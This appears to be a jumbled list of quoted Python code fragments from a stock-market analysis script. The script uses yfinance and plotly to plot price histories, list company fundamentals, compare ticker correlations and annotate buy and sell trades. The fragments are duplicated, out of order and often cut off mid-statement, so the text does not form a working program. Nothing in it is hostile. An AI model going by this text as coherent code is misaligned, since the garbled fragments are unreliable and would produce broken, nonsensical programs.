yf.Ticker(ticker)", "rangeslider_thickness = 0.1, row=2, col=1) fig.update_yaxes(title_text=\"Price\", row=1, col=1) fig.update_layout(title=ticker, height", "price = trade_history.loc[i, 'Avg_Price'] quantity = trade_history.loc[i, 'Quantity'] total =", "= 1, ax = -0.5, ay = -30, arrowsize =", "= yf.Ticker(ticker) ticker_hist = ticker_obj.history(period = 'max') if start and", "= ticker_hist.loc[start_date:end_date].copy() frame['Norm Close'] = normalize_data(frame['Close']) closing_prices = frame['Norm Close']", "ticker_info['trailingEps'] shares_outstanding = str(round(ticker_info['sharesOutstanding']/1000000,2)) + 'M' shares_short = str(round(ticker_info['sharesShort']/1000000,2)) +", "closing_prices.index, y = volume, name = 'Volume'), row=2, col=1) fig.update_xaxes(rangeslider_visible", "Short (Prev Mo)', 'Short % of Outstanding (Prev Mo)', 'Shares", "ticker_info['priceToSalesTrailing12Months'] try: forwardpe = round(ticker_info['forwardPE'],2) except: forwardpe = ticker_info['forwardPE'] pegratio", "{gain}, %G: {perc_gain}') fig.update_layout(title = ticker, yaxis_title = 'Price') fig.show()", "= trade_history.loc[i, 'Total'] side = trade_history.loc[i, 'Side'] gain = trade_history.loc[i,", "'Shares Outstanding', 'Institutions % of Oustanding', 'Insiders % of Oustanding',", "1) print('\\n') printmd(\"Last 90 Days Close Pearson Correlation Matrix: \")", "'P/S Trailing 12mo', 'Forward P/E', 'PEG Ratio', 'Forward EPS', 'Trailing", "most_recent_vol = str(round(ticker_info['volume']/1000000,2)) + 'M' try: beta = round(ticker_info['beta'],2) except:", "if len(tickers) > 2: concat_closing_90_days = pd.concat(closing_90_days, axis = 1)", "frame = ticker_hist.loc[start_date:end_date].copy() frame['Norm Close'] = normalize_data(frame['Close']) closing_prices = frame['Norm", "'7D Close Moving Average')) fig.update_layout(title = ', '.join(tickers) + '", "'Norm Price') fig.update_layout(height = 600, xaxis=dict( rangeselector=dict( buttons=list([ dict(count=7, label=\"1w\",", "= date.today().strftime(\"%Y-%m-%d\") frame = ticker_hist.loc[start_date:today_date] closing_prices = frame['Close'] fig =", "= ticker + '7D Close Moving Average')) fig.update_layout(title = ',", "country = ticker_info['country'] avg10d_vol = str(round(ticker_info['averageDailyVolume10Day']/1000000,2)) + 'M' most_recent_vol =", "ticker_hist.loc[start_date:end_date].copy() frame['Norm Close'] = normalize_data(frame['Close']) closing_prices = frame['Norm Close'] start_end_prices[ticker]", "start_price)/start_price*100)) if len(tickers) > 2: concat_closing_90_days = pd.concat(closing_90_days, axis =", "numpy as np from datetime import date, timedelta def plot_and_get_info(ticker,", "'right', hovertext = f'S, P: {price}, Q: {quantity}, T: {total},", "frame.iloc[-1]['Close']} closing_90_days.append(closing_prices.iloc[-90:].to_frame().rename(columns = {'Norm Close': ticker})) fig.add_trace(go.Scatter(x = closing_prices.index, y", "from IPython.display import Markdown import numpy as np from datetime", "sector, industry, country, beta, most_recent_vol, avg10d_vol, ps_trailing_12mo, forwardpe, pegratio, forwardeps,", "start_date, end_date = start, end else: start_date, end_date = ticker_hist.index[0],", "- min) / (max - min) return y def printmd(string):", "= price, text = f'SS', showarrow = True, arrowhead =", "1, ax = -0.5, ay = -30, arrowsize = 1.5,", "def printmd(string): display(Markdown(string)) start_end_prices = {} closing_90_days = [] fig", "arrowhead = 1, ax = -0.5, ay = -30, arrowsize", "end_price = frame.iloc[0]['Close'], frame.iloc[-1]['Close'] def printmd(string): display(Markdown(string)) printmd('Given Timeframe:') printmd(\"Return:", "country, beta, most_recent_vol, avg10d_vol, ps_trailing_12mo, forwardpe, pegratio, forwardeps, trailingeps, shares_outstanding,", "ticker_info['longName'] sector = ticker_info['sector'] industry = ticker_info['industry'] country = ticker_info['country']", "ticker_obj.history(period = 'max') if len(ticker_hist) == 0: return start_date =", "= price, text = f'BB', showarrow = True, arrowhead =", "y = (column - min) / (max - min) return", "= ['Info']) print() display(stock_info_df) except: pass def compare_charts(tickers = [],", "yfinance as yf import matplotlib.pyplot as plt import plotly.express as", "closing_prices_ma, mode = 'lines', name = ticker + '7D Close", "'Close')) for i in range(len(trade_history)): trade_date = trade_history.loc[i, 'Date'] price", "(Prev Mo)'], columns = ['Info']) print() display(stock_info_df) except: pass def", "= closing_prices_ma, mode = 'lines', name = ticker + '7D", "= str(round(ticker_info['sharesShort']/1000000,2)) + 'M' shares_short_perc_outstanding = str(round(ticker_info['sharesPercentSharesOut']*100,2)) + '%' floatshares", "(Prev Mo)', 'Short % of Outstanding (Prev Mo)', 'Shares Float',", "plot_and_get_info(ticker, start = None, end = None, ma = 'yes'):", "closing_prices.index, y = closing_prices, mode = 'lines', name = 'Close'))", "perc_institutions, perc_insiders, shares_short, shares_short_perc_outstanding, floatshares, short_perc_float] stock_info_df = pd.DataFrame(stock_info, index", "volume, name = 'Volume'), row=2, col=1) fig.update_xaxes(rangeslider_visible = True, rangeslider_thickness", "(max - min) return y def printmd(string): display(Markdown(string)) start_end_prices =", "pd.concat(closing_90_days, axis = 1) print('\\n') printmd(\"Last 90 Days Close Pearson", "industry = ticker_info['industry'] country = ticker_info['country'] avg10d_vol = str(round(ticker_info['averageDailyVolume10Day']/1000000,2)) +", "frame['Volume'] fig = make_subplots(rows=2, cols=1, shared_xaxes=True, vertical_spacing=0.03, row_heights = [0.8,", "Close Moving Average')) fig.update_layout(title = ', '.join(tickers) + ' Comparison',", "ticker in tickers: start_price, end_price = start_end_prices[ticker]['start_price'], start_end_prices[ticker]['end_price'] printmd(ticker +", "% of Outstanding (Prev Mo)', 'Shares Float', 'Short % of", "ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period = 'max') if len(ticker_hist)", "step=\"month\", stepmode=\"backward\"), dict(count=3, label=\"3m\", step=\"month\", stepmode=\"backward\"), dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"),", "{:.2f}%\".format((end_price - start_price)/start_price*100)) try: ticker_info = ticker_obj.info print() printmd('Business Summary:", "'%' perc_insiders = str(round(ticker_info['heldPercentInsiders']*100,2)) + '%' stock_info = [market_cap, longname,", "'Industry', 'Country', 'Beta', 'Day Volume (Most recent)', 'Avg 10D Volume',", "ticker_info['forwardPE'] pegratio = ticker_info['pegRatio'] forwardeps = ticker_info['forwardEps'] trailingeps = ticker_info['trailingEps']", "trade_history.loc[i, 'Gain'] perc_gain = trade_history.loc[i, '% Gain'] if side ==", "width = 1000, height = 500) fig2.show() printmd(\"Pearson Correlation: \"", "0.1, row=2, col=1) fig.update_yaxes(title_text=\"Price\", row=1, col=1) fig.update_layout(title=ticker, height = 600,", "'Forward EPS', 'Trailing EPS', 'Shares Outstanding', 'Institutions % of Oustanding',", "perc_gain = trade_history.loc[i, '% Gain'] if side == 'buy': fig.add_annotation(x", "+ '7D Close Moving Average')) fig.update_layout(title = ', '.join(tickers) +", "= ticker_hist.loc[start_date:today_date] closing_prices = frame['Close'] fig = go.Figure() fig.add_trace(go.Scatter(x =", "pass def compare_charts(tickers = [], start = None, end =", "in tickers: start_price, end_price = start_end_prices[ticker]['start_price'], start_end_prices[ticker]['end_price'] printmd(ticker + \"", "'Shares Float', 'Short % of Float (Prev Mo)'], columns =", "step=\"year\", stepmode=\"todate\"), dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"), dict(step=\"all\") ]) ), rangeslider=dict(", "= frame['Volume'] fig = make_subplots(rows=2, cols=1, shared_xaxes=True, vertical_spacing=0.03, row_heights =", "y will be a column in a dataframe y =", "start = None, end = None, ma = 'yes'): ticker_obj", "shared_xaxes=True, vertical_spacing=0.03, row_heights = [0.8, 0.2]) fig.add_trace(go.Scatter(x = closing_prices.index, y", "trailingeps, shares_outstanding, perc_institutions, perc_insiders, shares_short, shares_short_perc_outstanding, floatshares, short_perc_float] stock_info_df =", "= round(ticker_info['beta'],2) except: beta = ticker_info['beta'] try: ps_trailing_12mo = round(ticker_info['priceToSalesTrailing12Months'],2)", "fig2.add_trace(go.Scatter(x = closing_90_days[0].loc[:, tickers[0]], y = closing_90_days[1].loc[:, tickers[1]], mode =", "mode = 'lines', name = 'Close')) for i in range(len(trade_history)):", "'Volume'), row=2, col=1) fig.update_xaxes(rangeslider_visible = True, rangeslider_thickness = 0.1, row=2,", "trade_history = tradesdf[tradesdf['Symbol'] == ticker].reset_index(drop=True) if crypto == 'yes': ticker", "None, end = None, ma = 'yes'): if len(tickers) <=", "1: raise Exception(\"Please enter at least two tickers to compare\")", "if side == 'buy': fig.add_annotation(x = trade_date, y = price,", "= 20, ay = -30, arrowsize = 1.5, align =", "start_price, end_price = start_end_prices[ticker]['start_price'], start_end_prices[ticker]['end_price'] printmd(ticker + \" Return: {:.2f}%\".format((end_price", "row = 1, col = 1) fig.add_trace(go.Bar(x = closing_prices.index, y", "start_end_prices = {} closing_90_days = [] fig = go.Figure() for", "ax = -0.5, ay = -30, arrowsize = 1.5, align", "'M' most_recent_vol = str(round(ticker_info['volume']/1000000,2)) + 'M' try: beta = round(ticker_info['beta'],2)", "start, end else: start_date, end_date = ticker_hist.index[0], ticker_hist.index[-1] frame =", "= str(round(ticker_info['marketCap']/1000000000,2)) + 'B' longname = ticker_info['longName'] sector = ticker_info['sector']", "try: short_perc_float = str(round(ticker_info['shortPercentOfFloat']*100,2)) + '%' except: short_perc_float = ticker_info['shortPercentOfFloat']", "except: beta = ticker_info['beta'] try: ps_trailing_12mo = round(ticker_info['priceToSalesTrailing12Months'],2) except: ps_trailing_12mo", "dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"), dict(step=\"all\") ]) ), rangeslider=dict( visible=True, thickness", "= volume, name = 'Volume'), row=2, col=1) fig.update_xaxes(rangeslider_visible = True,", "longname = ticker_info['longName'] sector = ticker_info['sector'] industry = ticker_info['industry'] country", "Heatmap', width = 500, height = 400) fig2.show() else: fig2", "closing_prices.index, y = closing_prices, mode = 'lines', name = ticker", "[market_cap, longname, sector, industry, country, beta, most_recent_vol, avg10d_vol, ps_trailing_12mo, forwardpe,", "= f'BB', showarrow = True, arrowhead = 1, ax =", "'Gain'] perc_gain = trade_history.loc[i, '% Gain'] if side == 'buy':", "= 'left', hovertext = f'B, P: {price}, Q: {quantity}, T:", "start_date = (pd.to_datetime(trade_history.loc[0, 'Date']) - timedelta(150)).strftime(\"%Y-%m-%d\") today_date = date.today().strftime(\"%Y-%m-%d\") frame", "beta = ticker_info['beta'] try: ps_trailing_12mo = round(ticker_info['priceToSalesTrailing12Months'],2) except: ps_trailing_12mo =", "printmd(\"Return: {:.2f}%\".format((end_price - start_price)/start_price*100)) try: ticker_info = ticker_obj.info print() printmd('Business", "= frame['Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index, y = closing_prices_ma, mode =", "ay = -30, arrowsize = 1.5, align = 'left', hovertext", "), rangeslider=dict( visible=True, thickness = 0.1 ), type=\"date\" ) )", "Outstanding', 'Institutions % of Oustanding', 'Insiders % of Oustanding', 'Shares", "['Info']) print() display(stock_info_df) except: pass def compare_charts(tickers = [], start", "% of Oustanding', 'Shares Short (Prev Mo)', 'Short % of", "'left', hovertext = f'B, P: {price}, Q: {quantity}, T: {total},", "= -30, arrowsize = 1.5, align = 'right', hovertext =", "-30, arrowsize = 1.5, align = 'right', hovertext = f'S,", "'end_price': frame.iloc[-1]['Close']} closing_90_days.append(closing_prices.iloc[-90:].to_frame().rename(columns = {'Norm Close': ticker})) fig.add_trace(go.Scatter(x = closing_prices.index,", "1) fig.add_trace(go.Bar(x = closing_prices.index, y = volume, name = 'Volume'),", "closing_prices_ma.index, y = closing_prices_ma, mode = 'lines', name = '7D", "len(ticker_hist) == 0: return start_date = (pd.to_datetime(trade_history.loc[0, 'Date']) - timedelta(150)).strftime(\"%Y-%m-%d\")", "yf.Ticker(ticker) ticker_hist = ticker_obj.history(period = 'max') if start and end:", "and end: start_date, end_date = start, end else: start_date, end_date", "y def printmd(string): display(Markdown(string)) start_end_prices = {} closing_90_days = []", "= str(round(ticker_info['heldPercentInsiders']*100,2)) + '%' stock_info = [market_cap, longname, sector, industry,", "Moving Average'), row = 1, col = 1) fig.add_trace(go.Bar(x =", "= True, arrowhead = 1, ax = 20, ay =", "name = ticker + '7D Close Moving Average')) fig.update_layout(title =", "Norm Close')) if ma == 'yes': closing_prices_ma = frame['Norm Close'].rolling(7).mean()", "market_cap = str(round(ticker_info['marketCap']/1000000000,2)) + 'B' longname = ticker_info['longName'] sector =", "price, text = f'BB', showarrow = True, arrowhead = 1,", "len(tickers) <= 1: raise Exception(\"Please enter at least two tickers", "industry, country, beta, most_recent_vol, avg10d_vol, ps_trailing_12mo, forwardpe, pegratio, forwardeps, trailingeps,", "tickers[1]], mode = 'markers', name = 'Norm Close')) fig2.update_layout(title =", "height = 500) fig2.show() printmd(\"Pearson Correlation: \" + str(round(closing_90_days[0].loc[:, tickers[0]].corr(closing_90_days[1].loc[:,", "= ticker_info['longName'] sector = ticker_info['sector'] industry = ticker_info['industry'] country =", "side == 'sell': fig.add_annotation(x = trade_date, y = price, text", "xaxis=dict( rangeselector=dict( buttons=list([ dict(count=7, label=\"1w\", step=\"day\", stepmode=\"backward\"), dict(count=1, label=\"1m\", step=\"month\",", "most_recent_vol, avg10d_vol, ps_trailing_12mo, forwardpe, pegratio, forwardeps, trailingeps, shares_outstanding, perc_institutions, perc_insiders,", "P: {price}, Q: {quantity}, T: {total}, D: {trade_date}') if side", "Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index, y = closing_prices_ma, mode = 'lines',", "+ 'M' try: short_perc_float = str(round(ticker_info['shortPercentOfFloat']*100,2)) + '%' except: short_perc_float", "Mo)'], columns = ['Info']) print() display(stock_info_df) except: pass def compare_charts(tickers", "= 'lines', name = ticker + '7D Close Moving Average'))", "= tradesdf[tradesdf['Symbol'] == ticker].reset_index(drop=True) if crypto == 'yes': ticker +=", "{price}, Q: {quantity}, T: {total}, D: {trade_date}, G: {gain}, %G:", "import yfinance as yf import matplotlib.pyplot as plt import plotly.express", "str(round(ticker_info['sharesPercentSharesOut']*100,2)) + '%' floatshares = str(round(ticker_info['floatShares']/1000000,2)) + 'M' try: short_perc_float", "Correlation', xaxis_title = tickers[0], yaxis_title = tickers[1], width = 1000,", "Close'] = normalize_data(frame['Close']) closing_prices = frame['Norm Close'] start_end_prices[ticker] = {'start_price':", "col = 1) fig.add_trace(go.Bar(x = closing_prices.index, y = volume, name", "print('\\n') printmd(\"Last 90 Days Close Pearson Correlation Matrix: \") display(concat_closing_90_days.corr())", "' + ticker_info['longBusinessSummary']) market_cap = str(round(ticker_info['marketCap']/1000000000,2)) + 'B' longname =", "= 'lines', name = 'Close'), row = 1, col =", "+ '%' perc_insiders = str(round(ticker_info['heldPercentInsiders']*100,2)) + '%' stock_info = [market_cap,", "if side == 'sell': fig.add_annotation(x = trade_date, y = price,", "stepmode=\"backward\"), dict(step=\"all\") ]) ), rangeslider=dict( visible=True, thickness = 0.1 ),", "name = 'Volume'), row=2, col=1) fig.update_xaxes(rangeslider_visible = True, rangeslider_thickness =", "fig2.update_layout(title = ', '.join(tickers) + ' Last 90 Days Correlation',", "1, ax = 20, ay = -30, arrowsize = 1.5,", "1000, height = 500) fig2.show() printmd(\"Pearson Correlation: \" + str(round(closing_90_days[0].loc[:,", "cols=1, shared_xaxes=True, vertical_spacing=0.03, row_heights = [0.8, 0.2]) fig.add_trace(go.Scatter(x = closing_prices.index,", "col=1) fig.update_yaxes(title_text=\"Price\", row=1, col=1) fig.update_layout(title=ticker, height = 600, xaxis=dict( rangeselector=dict(", "buttons=list([ dict(count=7, label=\"1w\", step=\"day\", stepmode=\"backward\"), dict(count=1, label=\"1m\", step=\"month\", stepmode=\"backward\"), dict(count=3,", "'Name', 'Sector', 'Industry', 'Country', 'Beta', 'Day Volume (Most recent)', 'Avg", "tickers[0], yaxis_title = tickers[1], width = 1000, height = 500)", "0: return start_date = (pd.to_datetime(trade_history.loc[0, 'Date']) - timedelta(150)).strftime(\"%Y-%m-%d\") today_date =", "start_end_prices[ticker] = {'start_price': frame.iloc[0]['Close'], 'end_price': frame.iloc[-1]['Close']} closing_90_days.append(closing_prices.iloc[-90:].to_frame().rename(columns = {'Norm Close':", "1, col = 1) fig.add_trace(go.Bar(x = closing_prices.index, y = volume,", "beta, most_recent_vol, avg10d_vol, ps_trailing_12mo, forwardpe, pegratio, forwardeps, trailingeps, shares_outstanding, perc_institutions,", "frame['Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index, y = closing_prices_ma, mode = 'lines',", "side == 'buy': fig.add_annotation(x = trade_date, y = price, text", "'Day Volume (Most recent)', 'Avg 10D Volume', 'P/S Trailing 12mo',", "str(round(ticker_info['floatShares']/1000000,2)) + 'M' try: short_perc_float = str(round(ticker_info['shortPercentOfFloat']*100,2)) + '%' except:", "== ticker].reset_index(drop=True) if crypto == 'yes': ticker += '-USD' ticker_obj", "= ticker_hist.index[0], ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date].copy() frame['Norm Close'] = normalize_data(frame['Close'])", "2: concat_closing_90_days = pd.concat(closing_90_days, axis = 1) print('\\n') printmd(\"Last 90", "= 'Close')) for i in range(len(trade_history)): trade_date = trade_history.loc[i, 'Date']", "= {'Norm Close': ticker})) fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices,", "tickers[1]]),3))) print() def plot_buysell_points(ticker, tradesdf, crypto = 'no'): trade_history =", ") fig.show() printmd('Given Timeframe:') for ticker in tickers: start_price, end_price", "col=1) fig.update_xaxes(rangeslider_visible = True, rangeslider_thickness = 0.1, row=2, col=1) fig.update_yaxes(title_text=\"Price\",", "label=\"1y\", step=\"year\", stepmode=\"backward\"), dict(step=\"all\") ]) ), type=\"date\" ) ) fig.show()", "except: short_perc_float = ticker_info['shortPercentOfFloat'] perc_institutions = str(round(ticker_info['heldPercentInstitutions']*100,2)) + '%' perc_insiders", "print() printmd('Business Summary: ' + ticker_info['longBusinessSummary']) market_cap = str(round(ticker_info['marketCap']/1000000000,2)) +", "rangeselector=dict( buttons=list([ dict(count=7, label=\"1w\", step=\"day\", stepmode=\"backward\"), dict(count=1, label=\"1m\", step=\"month\", stepmode=\"backward\"),", "= ticker_info['forwardPE'] pegratio = ticker_info['pegRatio'] forwardeps = ticker_info['forwardEps'] trailingeps =", "normalize_data(column): min = column.min() max = column.max() # time series", "0.2]) fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices, mode = 'lines',", "def plot_and_get_info(ticker, start = None, end = None, ma =", "str(round(closing_90_days[0].loc[:, tickers[0]].corr(closing_90_days[1].loc[:, tickers[1]]),3))) print() def plot_buysell_points(ticker, tradesdf, crypto = 'no'):", "name = 'Norm Close')) fig2.update_layout(title = ', '.join(tickers) + '", "stepmode=\"todate\"), dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"), dict(step=\"all\") ]) ), rangeslider=dict( visible=True,", "12mo', 'Forward P/E', 'PEG Ratio', 'Forward EPS', 'Trailing EPS', 'Shares", "Close'] start_end_prices[ticker] = {'start_price': frame.iloc[0]['Close'], 'end_price': frame.iloc[-1]['Close']} closing_90_days.append(closing_prices.iloc[-90:].to_frame().rename(columns = {'Norm", "= start_end_prices[ticker]['start_price'], start_end_prices[ticker]['end_price'] printmd(ticker + \" Return: {:.2f}%\".format((end_price - start_price)/start_price*100))", "= trade_history.loc[i, 'Date'] price = trade_history.loc[i, 'Avg_Price'] quantity = trade_history.loc[i,", "price, text = f'SS', showarrow = True, arrowhead = 1,", "for ticker in tickers: start_price, end_price = start_end_prices[ticker]['start_price'], start_end_prices[ticker]['end_price'] printmd(ticker", "ticker})) fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices, mode = 'lines',", "Days Close Pearson Correlation Matrix: \") display(concat_closing_90_days.corr()) fig2 = px.imshow(concat_closing_90_days.corr(),", "/ (max - min) return y def printmd(string): display(Markdown(string)) start_end_prices", "of Oustanding', 'Shares Short (Prev Mo)', 'Short % of Outstanding", "mode = 'lines', name = ticker + '7D Close Moving", "color_continuous_scale = 'blues', title = 'Last 90 Days Close Pearson", "tradesdf[tradesdf['Symbol'] == ticker].reset_index(drop=True) if crypto == 'yes': ticker += '-USD'", "{total}, D: {trade_date}, G: {gain}, %G: {perc_gain}') fig.update_layout(title = ticker,", "frame.iloc[0]['Close'], 'end_price': frame.iloc[-1]['Close']} closing_90_days.append(closing_prices.iloc[-90:].to_frame().rename(columns = {'Norm Close': ticker})) fig.add_trace(go.Scatter(x =", "' Norm Close')) if ma == 'yes': closing_prices_ma = frame['Norm", "start_date, end_date = ticker_hist.index[0], ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date].copy() frame['Norm Close']", "be a column in a dataframe y = (column -", "+ '%' except: short_perc_float = ticker_info['shortPercentOfFloat'] perc_institutions = str(round(ticker_info['heldPercentInstitutions']*100,2)) +", "go.Figure() fig2.add_trace(go.Scatter(x = closing_90_days[0].loc[:, tickers[0]], y = closing_90_days[1].loc[:, tickers[1]], mode", "= str(round(ticker_info['sharesPercentSharesOut']*100,2)) + '%' floatshares = str(round(ticker_info['floatShares']/1000000,2)) + 'M' try:", "f'BB', showarrow = True, arrowhead = 1, ax = -0.5,", "trade_history.loc[i, 'Avg_Price'] quantity = trade_history.loc[i, 'Quantity'] total = trade_history.loc[i, 'Total']", "px.imshow(concat_closing_90_days.corr(), color_continuous_scale = 'blues', title = 'Last 90 Days Close", "closing_prices.index, y = closing_prices, mode = 'lines', name = 'Close'),", "ticker_hist.index[0], ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date].copy() frame['Norm Close'] = normalize_data(frame['Close']) closing_prices", "frame = ticker_hist.loc[start_date:end_date] closing_prices = frame['Close'] volume = frame['Volume'] fig", "'M' try: short_perc_float = str(round(ticker_info['shortPercentOfFloat']*100,2)) + '%' except: short_perc_float =", "trailingeps = ticker_info['trailingEps'] shares_outstanding = str(round(ticker_info['sharesOutstanding']/1000000,2)) + 'M' shares_short =", "end_price = start_end_prices[ticker]['start_price'], start_end_prices[ticker]['end_price'] printmd(ticker + \" Return: {:.2f}%\".format((end_price -", "'Trailing EPS', 'Shares Outstanding', 'Institutions % of Oustanding', 'Insiders %", "'blues', title = 'Last 90 Days Close Pearson Correlation Heatmap',", "frame['Norm Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index, y = closing_prices_ma, mode =", "end: start_date, end_date = start, end else: start_date, end_date =", "trade_history.loc[i, 'Quantity'] total = trade_history.loc[i, 'Total'] side = trade_history.loc[i, 'Side']", "dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"), dict(step=\"all\") ]) ), type=\"date\" ) )", "str(round(ticker_info['volume']/1000000,2)) + 'M' try: beta = round(ticker_info['beta'],2) except: beta =", "+ \" Return: {:.2f}%\".format((end_price - start_price)/start_price*100)) if len(tickers) > 2:", "(pd.to_datetime(trade_history.loc[0, 'Date']) - timedelta(150)).strftime(\"%Y-%m-%d\") today_date = date.today().strftime(\"%Y-%m-%d\") frame = ticker_hist.loc[start_date:today_date]", "= f'SS', showarrow = True, arrowhead = 1, ax =", "= tickers[0], yaxis_title = tickers[1], width = 1000, height =", "= frame.iloc[0]['Close'], frame.iloc[-1]['Close'] def printmd(string): display(Markdown(string)) printmd('Given Timeframe:') printmd(\"Return: {:.2f}%\".format((end_price", "'-USD' ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period = 'max') if", "= str(round(ticker_info['averageDailyVolume10Day']/1000000,2)) + 'M' most_recent_vol = str(round(ticker_info['volume']/1000000,2)) + 'M' try:", "{total}, D: {trade_date}') if side == 'sell': fig.add_annotation(x = trade_date,", "= ticker_obj.info print() printmd('Business Summary: ' + ticker_info['longBusinessSummary']) market_cap =", "'Sector', 'Industry', 'Country', 'Beta', 'Day Volume (Most recent)', 'Avg 10D", "step=\"year\", stepmode=\"backward\"), dict(step=\"all\") ]) ), type=\"date\" ) ) fig.show() start_price,", "G: {gain}, %G: {perc_gain}') fig.update_layout(title = ticker, yaxis_title = 'Price')", "= 1) if ma == 'yes': closing_prices_ma = frame['Close'].rolling(7).mean() fig.add_trace(go.Scatter(x", "= (column - min) / (max - min) return y", "'sell': fig.add_annotation(x = trade_date, y = price, text = f'SS',", "trade_history.loc[i, 'Date'] price = trade_history.loc[i, 'Avg_Price'] quantity = trade_history.loc[i, 'Quantity']", "+ ticker_info['longBusinessSummary']) market_cap = str(round(ticker_info['marketCap']/1000000000,2)) + 'B' longname = ticker_info['longName']", "= ticker_info['industry'] country = ticker_info['country'] avg10d_vol = str(round(ticker_info['averageDailyVolume10Day']/1000000,2)) + 'M'", "import date, timedelta def plot_and_get_info(ticker, start = None, end =", "mode = 'lines', name = 'Close'), row = 1, col", "ticker_hist.index[0], ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date] closing_prices = frame['Close'] volume =", "end = None, ma = 'yes'): if len(tickers) <= 1:", "= ticker_obj.history(period = 'max') if len(ticker_hist) == 0: return start_date", "Pearson Correlation Matrix: \") display(concat_closing_90_days.corr()) fig2 = px.imshow(concat_closing_90_days.corr(), color_continuous_scale =", "try: beta = round(ticker_info['beta'],2) except: beta = ticker_info['beta'] try: ps_trailing_12mo", "Trailing 12mo', 'Forward P/E', 'PEG Ratio', 'Forward EPS', 'Trailing EPS',", "'max') if len(ticker_hist) == 0: return start_date = (pd.to_datetime(trade_history.loc[0, 'Date'])", "arrowhead = 1, ax = 20, ay = -30, arrowsize", "perc_institutions = str(round(ticker_info['heldPercentInstitutions']*100,2)) + '%' perc_insiders = str(round(ticker_info['heldPercentInsiders']*100,2)) + '%'", "short_perc_float = str(round(ticker_info['shortPercentOfFloat']*100,2)) + '%' except: short_perc_float = ticker_info['shortPercentOfFloat'] perc_institutions", "= 1, col = 1) if ma == 'yes': closing_prices_ma", "perc_insiders = str(round(ticker_info['heldPercentInsiders']*100,2)) + '%' stock_info = [market_cap, longname, sector,", "= ticker_info['forwardEps'] trailingeps = ticker_info['trailingEps'] shares_outstanding = str(round(ticker_info['sharesOutstanding']/1000000,2)) + 'M'", "tickers[0]].corr(closing_90_days[1].loc[:, tickers[1]]),3))) print() def plot_buysell_points(ticker, tradesdf, crypto = 'no'): trade_history", "'Institutions % of Oustanding', 'Insiders % of Oustanding', 'Shares Short", "plot_buysell_points(ticker, tradesdf, crypto = 'no'): trade_history = tradesdf[tradesdf['Symbol'] == ticker].reset_index(drop=True)", "y = volume, name = 'Volume'), row=2, col=1) fig.update_xaxes(rangeslider_visible =", "align = 'right', hovertext = f'S, P: {price}, Q: {quantity},", "label=\"6m\", step=\"month\", stepmode=\"backward\"), dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"), dict(count=1, label=\"1y\", step=\"year\",", "= 'Close'), row = 1, col = 1) if ma", "90 Days Close Pearson Correlation Matrix: \") display(concat_closing_90_days.corr()) fig2 =", "0.1 ), type=\"date\" ) ) fig.show() printmd('Given Timeframe:') for ticker", "except: forwardpe = ticker_info['forwardPE'] pegratio = ticker_info['pegRatio'] forwardeps = ticker_info['forwardEps']", "compare\") def normalize_data(column): min = column.min() max = column.max() #", "avg10d_vol, ps_trailing_12mo, forwardpe, pegratio, forwardeps, trailingeps, shares_outstanding, perc_institutions, perc_insiders, shares_short,", "\" + str(round(closing_90_days[0].loc[:, tickers[0]].corr(closing_90_days[1].loc[:, tickers[1]]),3))) print() def plot_buysell_points(ticker, tradesdf, crypto", "closing_prices_ma.index, y = closing_prices_ma, mode = 'lines', name = ticker", "arrowsize = 1.5, align = 'right', hovertext = f'S, P:", "= 400) fig2.show() else: fig2 = go.Figure() fig2.add_trace(go.Scatter(x = closing_90_days[0].loc[:,", "ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date] closing_prices = frame['Close'] volume = frame['Volume']", "= 600, xaxis=dict( rangeselector=dict( buttons=list([ dict(count=7, label=\"1w\", step=\"day\", stepmode=\"backward\"), dict(count=1,", "closing_90_days.append(closing_prices.iloc[-90:].to_frame().rename(columns = {'Norm Close': ticker})) fig.add_trace(go.Scatter(x = closing_prices.index, y =", "Matrix: \") display(concat_closing_90_days.corr()) fig2 = px.imshow(concat_closing_90_days.corr(), color_continuous_scale = 'blues', title", "{trade_date}, G: {gain}, %G: {perc_gain}') fig.update_layout(title = ticker, yaxis_title =", "side = trade_history.loc[i, 'Side'] gain = trade_history.loc[i, 'Gain'] perc_gain =", "1, col = 1) if ma == 'yes': closing_prices_ma =", "step=\"year\", stepmode=\"todate\"), dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"), dict(step=\"all\") ]) ), type=\"date\"", "as yf import matplotlib.pyplot as plt import plotly.express as px", ") fig.show() start_price, end_price = frame.iloc[0]['Close'], frame.iloc[-1]['Close'] def printmd(string): display(Markdown(string))", "pegratio = ticker_info['pegRatio'] forwardeps = ticker_info['forwardEps'] trailingeps = ticker_info['trailingEps'] shares_outstanding", "max = column.max() # time series normalization # y will", "= frame['Close'] volume = frame['Volume'] fig = make_subplots(rows=2, cols=1, shared_xaxes=True,", "trade_history.loc[i, 'Side'] gain = trade_history.loc[i, 'Gain'] perc_gain = trade_history.loc[i, '%", "== 'buy': fig.add_annotation(x = trade_date, y = price, text =", "time series normalization # y will be a column in", "plotly.graph_objects as go from plotly.subplots import make_subplots import pandas as", "a dataframe y = (column - min) / (max -", "= closing_prices, mode = 'lines', name = ticker + '", "i in range(len(trade_history)): trade_date = trade_history.loc[i, 'Date'] price = trade_history.loc[i,", "= str(round(ticker_info['volume']/1000000,2)) + 'M' try: beta = round(ticker_info['beta'],2) except: beta", "{} closing_90_days = [] fig = go.Figure() for ticker in", "'lines', name = '7D Close Moving Average'), row = 1,", "stepmode=\"todate\"), dict(count=1, 